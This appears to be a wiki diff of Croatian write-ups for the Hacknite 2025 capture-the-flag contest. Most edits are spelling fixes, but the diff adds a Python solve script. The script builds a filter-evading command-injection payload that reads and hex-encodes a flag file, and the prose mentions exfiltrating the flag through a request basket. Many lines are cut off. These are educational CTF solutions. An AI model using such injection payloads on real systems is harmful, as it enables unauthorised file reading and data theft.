hacknite2025
Differences
This shows you the differences between two versions of the page.
| hacknite2025 [2025/11/20 17:59] – mbunic | hacknite2025 [2025/12/01 11:40] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 341: | Line 341: | ||
| Ovo je ključni dio main funkcije, vidi se da program bilježi trenutačni timestamp, te ga potom postavlja kao user agent i šalje zahtjev na endpoint **http:// | Ovo je ključni dio main funkcije, vidi se da program bilježi trenutačni timestamp, te ga potom postavlja kao user agent i šalje zahtjev na endpoint **http:// | ||
| - | U ovom djelu koda se može vidjeti pod koji header se postavlja timestamp. | + | U ovom dijelu |
| < | < | ||
| Line 359: | Line 359: | ||
| - | Slanje trenutačnog timestampa je bitno, jer serverska strana može vračati drugačiji odgovor, ovisno o tome koji je timestamp u zahtjevu. | + | Slanje trenutačnog timestampa je bitno, jer serverska strana može vraćati drugačiji odgovor, ovisno o tome koji je timestamp u zahtjevu. |
| Za simulaciju ovog ponašanja može se napisati bash skripta koja šalje isti zahtjev i odgovor sprema u datoteku. | Za simulaciju ovog ponašanja može se napisati bash skripta koja šalje isti zahtjev i odgovor sprema u datoteku. | ||
| Line 447: | Line 447: | ||
| - | Ovaj program će ispisati adresu na koju s pomoću | + | Ovaj program će ispisati adresu na koju s pomoću |
| < | < | ||
| Line 593: | Line 593: | ||
| - | Kako bi se pronašao flag, može se samo ova hardkodirana vrijednost dešifrirati s RC4 algoritmom i ključem AWAVAUATSH. Ovo se može napraviti i alatom [[https:// | + | Kako bi se pronašao flag, može se samo ova hardkodirana vrijednost dešifrirati s RC4 algoritmom i ključem AWAVAUATSH. Ovo se može napraviti i alatom [[https:// |
| - | {{ hacknite2025: | + | {{ hacknite2025: |
| Line 617: | Line 617: | ||
| - | Analizom koda vidi se da program pokušava otvoriti datoteku **" | + | Analizom koda vidi se da program pokušava otvoriti datoteku **" |
| Line 909: | Line 909: | ||
| </ | </ | ||
| - | Samo računa pomak na status baru i prikazuje ga, ali na vrlo neefikasan i spor način. Uzevši u obzir da se ovo izvršava u petlji s 10368001 ponavljanja, | + | Samo računa pomak na status baru i prikazuje ga, ali na vrlo neefikasan i spor način. Uzevši u obzir da se ovo izvršava u petlji s 10368001 ponavljanja, |
| < | < | ||
| Line 928: | Line 928: | ||
| - | Ovaj se kod može izvršiti u Pythonu i nakon što završi s računanjem, | + | Ovaj se kod može izvršiti u Pythonu i nakon što završi s računanjem, |
| ====Poligloti==== | ====Poligloti==== | ||
| Line 963: | Line 963: | ||
| - | Zato što izvršio dio datoteke nije stripped, reverzno inženjerstvo s pomoću | + | Zato što izvršni dio datoteke nije "stripped", reverzno inženjerstvo s alatom |
| Line 969: | Line 969: | ||
| - | Može se vidjeti da traži te vrijednosti na određenom pomaku nakon byteova **"PK \x05 \x06" | + | Može se vidjeti da traži te vrijednosti na određenom pomaku nakon byteova **"PK \x05 \x06" |
| < | < | ||
| Line 986: | Line 986: | ||
| - | Sada samo treba pročitati ovu vrijednost, napraviti XOR kako bi se dobio AES ključ i iskoristiti ga zajedno sa postavljenim IV (lakše ga je pročitati iz flagEnc.bin, | + | Sada je potrebno |
| Line 1163: | Line 1163: | ||
| - | Pregledom Python koda u challenge.py datoteci, vidi se da je cijeli kod jedna duga obfuscirana linija koda. Ne koristi se uobičajena Python obfuskacija koju online deobfuskatori mogu pojednostaviti, | + | Pregledom Python koda u challenge.py datoteci, vidi se da je cijeli kod jedna duga obfuscirana linija koda. Ne koristi se uobičajena Python obfuskacija koju online deobfuskatori mogu pojednostaviti, |
| Line 1488: | Line 1488: | ||
| Kod za pronalazak skrivenog teksta u slici nije potrebno cijeli pisati, nego se može iskoristiti odgovarajući kod s navedenog GitHub projekta. | Kod za pronalazak skrivenog teksta u slici nije potrebno cijeli pisati, nego se može iskoristiti odgovarajući kod s navedenog GitHub projekta. | ||
| - | Program pronalazi najčešću boju u slici, prema broju piksela koji imaju te iste R,G,B vrijednosti, | + | Program pronalazi najčešću boju u slici, prema broju piksela koji imaju te iste R, G, B vrijednosti, |
| Line 1656: | Line 1656: | ||
| Kod generira 49 nasumičnih 30-znamenkastih heksadecimalnih brojeva (charset: 0–9 i a–f ASCII vrijednosti). | Kod generira 49 nasumičnih 30-znamenkastih heksadecimalnih brojeva (charset: 0–9 i a–f ASCII vrijednosti). | ||
| - | Sadržaj datoteke flag.txt stavlja u jednu liniju i nasumično dodaje padding s lijeve i desne strane u istom charsetu, dok linija ne postane | + | Sadržaj datoteke flag.txt stavlja u jednu liniju i nasumično dodaje padding s lijeve i desne strane u istom charsetu, dok linija ne postane dužine 30, kao i ostale linije. |
| Nakon toga su linije izmiješane i ciklično enkriptirane XOR-om s nasumično generiranim ključem dužine između 9 i 23 (ali dužina ključa nije djeljiva s 5). Ako je ključ dužine 22, u prvoj liniji će se koristiti cijeli ključ jednom i onda opet prva polovica ključa do 9. bajta, pa će sljedeća linija početi s 9. bajtom ključa, itd. | Nakon toga su linije izmiješane i ciklično enkriptirane XOR-om s nasumično generiranim ključem dužine između 9 i 23 (ali dužina ključa nije djeljiva s 5). Ako je ključ dužine 22, u prvoj liniji će se koristiti cijeli ključ jednom i onda opet prva polovica ključa do 9. bajta, pa će sljedeća linija početi s 9. bajtom ključa, itd. | ||
| - | Rješenje započinje pronalaskom | + | Rješenje započinje pronalaskom |
| Skripta je dana u nastavku. | Skripta je dana u nastavku. | ||
| Line 1826: | Line 1826: | ||
| </ | </ | ||
| - | Gdje su X i Y konstante u programu, koje su iste za svije riječi. | + | Gdje su X i Y konstante u programu, koje su iste za sve riječi. |
| Line 1840: | Line 1840: | ||
| Pri pronalasku korištene konfiguracije pomaka po riječi, što je konfiguracija bliža korištenoj, | Pri pronalasku korištene konfiguracije pomaka po riječi, što je konfiguracija bliža korištenoj, | ||
| - | X i Y su nasumični | + | X i Y su nasumični |
| Broj mogućih kombinacija je time: | Broj mogućih kombinacija je time: | ||
| Line 2717: | Line 2717: | ||
| Python random modul koristi Mersenne Twister kao generator nasumičnih brojeva iz inicijalnog seeda. | Python random modul koristi Mersenne Twister kao generator nasumičnih brojeva iz inicijalnog seeda. | ||
| - | Pri početku koda se vidi kako je state inicijaliziran s punih 624 riječi, što je maximum. | + | Pri početku koda se vidi kako je state inicijaliziran s punih 624 riječi, što je maksimum. |
| Line 2883: | Line 2883: | ||
| </ | </ | ||
| - | Da je obrnuti | + | Da je redoslijed ovih dviju vrijednosti |
| < | < | ||
| Line 2908: | Line 2908: | ||
| - | Alat za generiranje produljenog sažetka koji se koristi u ovom rješenju je [[https:// | + | Alat za generiranje produljenog sažetka koji se koristi u ovom rješenju je [[https:// |
| Line 3246: | Line 3246: | ||
| - | Rezultat | + | Rezultat |
| < | < | ||
| Line 3563: | Line 3563: | ||
| </ | </ | ||
| - | Ovo zadatak | + | To čini zadatak "blind", jer je odgovor svakog upita broj između 0 i 4, koji se potom mapira na znak iz skupa A–F. |
| Line 3825: | Line 3825: | ||
| Zadatak ima filter na ulazu, koji zabranjuje određene unose, te provjeru rezultata izvršene komande, gdje rezultat izvršavanja mora odgovarati SHA256 regexu. | Zadatak ima filter na ulazu, koji zabranjuje određene unose, te provjeru rezultata izvršene komande, gdje rezultat izvršavanja mora odgovarati SHA256 regexu. | ||
| - | Zadatak se može riješiti na više načina, nakon Što se pronađe način za napraviti command injection koji uspješno prolazi kroz filter, pročitana flag datoteka se ili može eksfiltrirati preko request basketa, ili se može mapirati na hex charset i paddat | + | Zadatak se može riješiti na više načina, nakon što se pronađe način za napraviti command injection koji uspješno prolazi kroz filter, pročitana flag datoteka se ili može eksfiltrirati preko request basketa, ili se može mapirati na hex charset i dopunit |
| - | Također se zadatak može riješiti i crackanjem vraćenog | + | Također se zadatak može riješiti i crackanjem vraćenog |
| - | Skripta koja rješava zadatak | + | |
| + | Skripta koja rješava zadatak | ||
| + | < | ||
| + | import requests | ||
| + | import binascii | ||
| + | |||
| + | # CONFIGURATION | ||
| + | URL = " | ||
| + | |||
| + | def decode_response(hex_string): | ||
| + | try: | ||
| + | decoded_bytes = binascii.unhexlify(hex_string) | ||
| + | return decoded_bytes.decode(' | ||
| + | except Exception as e: | ||
| + | return f" | ||
| + | |||
| + | def solve(): | ||
| + | print(" | ||
| + | |||
| + | # 1. Generate the number 1 (for 'head -n 1') | ||
| + | # logic: count ' | ||
| + | one_gen = " | ||
| + | |||
| + | # 2. Generate the number 64 (for final truncation) | ||
| + | # logic: 64 ' | ||
| + | a_64 = ' | ||
| + | len_gen = f" | ||
| + | |||
| + | # 3. Locate Python binary without using ' | ||
| + | # 'ls / | ||
| + | # We pipe to 'head -n $one' to ensure we get just one line/ | ||
| + | find_py = " | ||
| + | |||
| + | # 4. Python One-Liner | ||
| + | # Reads stdin, strips whitespace, encodes to hex. | ||
| + | # No digits or blacklisted words used here. | ||
| + | py_cmd = " | ||
| + | |||
| + | # 5. Construct the full pipeline | ||
| + | # head f* -> Read flag | ||
| + | # $py -c ... -> Hex encode it using the found python binary | ||
| + | # tr -d ' | ||
| + | raw_gen = f" | ||
| + | |||
| + | # 6. Padding Logic (same as before) | ||
| + | pad_str = ' | ||
| + | |||
| + | # 7. Combine and Print | ||
| + | cmd_logic = ( | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | ) | ||
| + | |||
| + | payload = f"' | ||
| + | |||
| + | print(f" | ||
| + | |||
| + | json_data = {" | ||
| + | |||
| + | try: | ||
| + | res = requests.post(URL, | ||
| + | response = res.json() | ||
| + | |||
| + | if response.get(" | ||
| + | returned_hash = response.get(" | ||
| + | print(f" | ||
| + | |||
| + | decoded = decode_response(returned_hash) | ||
| + | print(" | ||
| + | print(f" | ||
| + | print(" | ||
| + | else: | ||
| + | print(f" | ||
| + | |||
| + | except Exception as e: | ||
| + | print(f" | ||
| + | |||
| + | if __name__ == " | ||
| + | solve() | ||
| + | </ | ||
| + | |||
| + | |||
| + | Skripta koja rješava zadatak korištenjem Basha i generiranjem | ||
| < | < | ||
| Line 3916: | Line 4003: | ||
| print(f" | print(f" | ||
| </ | </ | ||
| + | |||
| Line 3930: | Line 4018: | ||
| Ranjivost u ovom zadatku je [[xss napadi |XSS]]. | Ranjivost u ovom zadatku je [[xss napadi |XSS]]. | ||
| - | zadatku je potrebno konstruirati prototype pollution XSS napad nad stranicom. HOST se treba postaviti u " | + | U zadatku je potrebno konstruirati prototype pollution XSS napad nad stranicom. HOST se treba postaviti u " |
| Line 3992: | Line 4080: | ||
| No pri pokušaju otvaranja ovog kao slike, vraćena je greška da je file signature nepoznat ili neispravan. | No pri pokušaju otvaranja ovog kao slike, vraćena je greška da je file signature nepoznat ili neispravan. | ||
| - | naredbom **file** nad datotekom ili **binwalk**, | + | naredbom **file** nad datotekom ili **binwalk**, |
| - | Zapravo je i sadržaj same datoteke | + | Zapravo je i sadržaj same datoteke |
| Line 4055: | Line 4143: | ||
| - | Ovaj efekt se može napraviti | + | Ovaj efekt se može napraviti |
| Unosom vrijednosti za swirl amount -700, dobiva se jasno vidljiv flag. | Unosom vrijednosti za swirl amount -700, dobiva se jasno vidljiv flag. | ||
| Line 4079: | Line 4167: | ||
| - | Nakon ekstrakcije, | + | Nakon ekstrakcije, |
| < | < | ||
| Line 4120: | Line 4208: | ||
| - | Sam LUKS alat također nije enkriptiran, | + | Sam LUKS alat također nije enkriptiran, |
| < | < | ||
| Line 4136: | Line 4224: | ||
| </ | </ | ||
| - | Sa binwalk se može napravit | + | S binwalk |
| < | < | ||
| Line 4166: | Line 4254: | ||
| **cpio** extract nema opciju odabira output direktorija. | **cpio** extract nema opciju odabira output direktorija. | ||
| - | Sada je cilj napraviti ekstrakt svih .cpio arihiva | + | Sada je cilj napraviti ekstrakt svih .cpio arhiva |
| < | < | ||
| Line 4187: | Line 4275: | ||
| </ | </ | ||
| - | Sada su svi cpio arhivi raspakirani i sve datoteke u initrd i initrd backupu su dostupne za analizu, | + | Sada su svi cpio arhivi raspakirani i sve datoteke u initrd i initrd backupu su dostupne za analizu, |
| Line 4282: | Line 4370: | ||
| - | Nakon ekstrakcija | + | Nakon ekstrakcije |
| Za to je potreban paket **qemu-utils** | Za to je potreban paket **qemu-utils** | ||
| Line 4337: | Line 4425: | ||
| - | U direktoriju ovog korisnika, | + | U direktoriju ovog korisnika, |
| < | < | ||
| Line 4353: | Line 4441: | ||
| - | Vidi se da ima više zabilježenih zapisa o stranici [[https:// | + | Vidi se da ima više zabilježenih zapisa o stranici [[https:// |
| - | No ostalo je još nešto zanimljivo | + | Među datotekama se nalazi |
| < | < | ||
| Line 4582: | Line 4670: | ||
| A vrijednost **a** se postavlja kao zadnji uneseni broj. **scanf** vraća broj pravilno upisanih formata, što znači da je potrebno upisati 5 brojeva, kako bi scanf vratio 5 i kako bi se onda izazvalo pozivanje slučaja 5. | A vrijednost **a** se postavlja kao zadnji uneseni broj. **scanf** vraća broj pravilno upisanih formata, što znači da je potrebno upisati 5 brojeva, kako bi scanf vratio 5 i kako bi se onda izazvalo pozivanje slučaja 5. | ||
| - | Format rješenja je 5 unesenih | + | Format rješenja je unos 5 brojeva, od kojih zadnji broj mora imati 18. bit slijeva postavljen na 1. |
| ...xx**1**xxxxxxxxxxxxxxxxx | ...xx**1**xxxxxxxxxxxxxxxxx | ||
| Line 4644: | Line 4732: | ||
| Uz zadatak je dan i izvorni kod. | Uz zadatak je dan i izvorni kod. | ||
| - | Pregledom koda, može se vidjeti da postoji unsigned integer underflow, koji će u slučaju da score postane -1, zbog underflowa | + | Pregledom koda, može se vidjeti da postoji unsigned integer underflow, koji će u slučaju da score postane -1, zbog underflowa |
| U funkciji za upis imena se nalazi [[ret2win|Ret2win]] ranjivost. | U funkciji za upis imena se nalazi [[ret2win|Ret2win]] ranjivost. | ||
| Line 4660: | Line 4748: | ||
| - | Ovdje se funkcijom **gets** čita neograničen korisnički unos u buffer veličine 32 bajta. | + | Ovdje se funkcijom **gets** čita neograničen korisnički unos u buffer veličine 32 bajta. |
| < | < | ||
| Line 4881: | Line 4969: | ||
| Uz zadatak je dan i izvorni kod. | Uz zadatak je dan i izvorni kod. | ||
| - | Rješenje ovog zadatka se temelji na ROP gadgetu kojim se poziva shell, pretraživanjem i sastavljanjem odgovarajućih elemenata iz glibc shared | + | Rješenje ovog zadatka se temelji na ROP gadgetu kojim se poziva shell, pretraživanjem i sastavljanjem odgovarajućih elemenata iz glibc shared |
| Rješenje zadatka je u nastavku. | Rješenje zadatka je u nastavku. | ||
| Line 4928: | Line 5016: | ||
| - | Rješenje ovog zadatka je drugačije od drugih zadataka pisanih u C programskom jeziku, temelji se na [[ret2win|Ret2win]], | + | Rješenje ovog zadatka je drugačije od drugih zadataka pisanih u C programskom jeziku, temelji se na [[ret2win|Ret2win]], |
| - | Predzadnji upit u zadatku (**Ime i prezime> | + | Predzadnji upit u zadatku (**Ime i prezime> |
| Sada kada je prepisana adresa string varijable naziv u objektu mačka (za prvi odabir uzeti 1 - mačka), zadnji unos je upravo unos naziva ljubimca, odnosno zadnji unos će se pohraniti na adresu na koju prepisana string varijabla naziv pokazuje. | Sada kada je prepisana adresa string varijable naziv u objektu mačka (za prvi odabir uzeti 1 - mačka), zadnji unos je upravo unos naziva ljubimca, odnosno zadnji unos će se pohraniti na adresu na koju prepisana string varijabla naziv pokazuje. | ||
| Line 4938: | Line 5026: | ||
| - | Sada je preostalo | + | Preostalo |
| Line 4980: | Line 5068: | ||
| Uz zadatak je dan i izvorni kod zadatka. | Uz zadatak je dan i izvorni kod zadatka. | ||
| - | Potrebno je zabilježiti ispise programa, i iz njih izračunati inicijalni broj dan programu, prema kojemu su određena brzina i početna pozicija sata. | + | Potrebno je zabilježiti ispise programa, i iz njih izračunati inicijalni broj koji je dan programu, prema kojemu su određena brzina i početna pozicija sata. |
| Mogu se zabilježiti prve dvije pozicije i jedna puno kasnija pozicija za izračun parametara. | Mogu se zabilježiti prve dvije pozicije i jedna puno kasnija pozicija za izračun parametara. | ||
| Line 5082: | Line 5170: | ||
| - | Tehnika ovog rješenja je slična kao [[blind_sqli|Blind SQL injection]], | + | Tehnika ovog rješenja je slična kao [[blind_sqli|Blind SQL injection]], |
| Line 5160: | Line 5248: | ||
| Program se može napisati u Pythonu, ili u C-u ili Rustu, u kojem slučaju je skripta puno brža nego ako je napisana Pythonom. | Program se može napisati u Pythonu, ili u C-u ili Rustu, u kojem slučaju je skripta puno brža nego ako je napisana Pythonom. | ||
| - | Python skripta se može pokrenuti s " | + | Python skripta se može pokrenuti s " |
| < | < | ||
| Line 5166: | Line 5254: | ||
| </ | </ | ||
| - | u nastavku je dana Python skripta koja pronalazi validno rješenje ovih uvjeta, koja je kompatibilna s pypy implementacijom. Skripta koristi bruteforce pristup s backtrack algoritmom, bez heuristika. Moguće je napisati skriptu koja koristi prikladne heuristike i puno brže pronalazi validnu konfiguraciju rješenja. | + | U nastavku je dana Python skripta koja pronalazi validno rješenje ovih uvjeta, koja je kompatibilna s pypy implementacijom. Skripta koristi bruteforce pristup s backtrack algoritmom, bez heuristika. Moguće je napisati skriptu koja koristi prikladne heuristike i puno brže pronalazi validnu konfiguraciju rješenja. |
| Line 5376: | Line 5464: | ||
| - | Ako vas zanima više o ovom problemu, probajte napisati algoritam koji brže nalazi validna rješenja i probajte pronaći najveći broj točaka za koji je moguće pronaći validnu konfiguraciju uz iste uvjete prostora i minimalne udaljenosti. Za ovo se preporučuje napisati implementaciju u C programskom jeziku ili u Rustu. | + | Ako vas zanima više, probajte napisati algoritam koji brže nalazi validna rješenja i probajte pronaći najveći broj točaka za koji je moguće pronaći validnu konfiguraciju uz iste uvjete prostora i minimalne udaljenosti. Za ovo se preporučuje napisati implementaciju u C programskom jeziku ili u Rustu. |
hacknite2025.1763661599.txt.gz · Last modified: 2025/12/01 11:40 (external edit)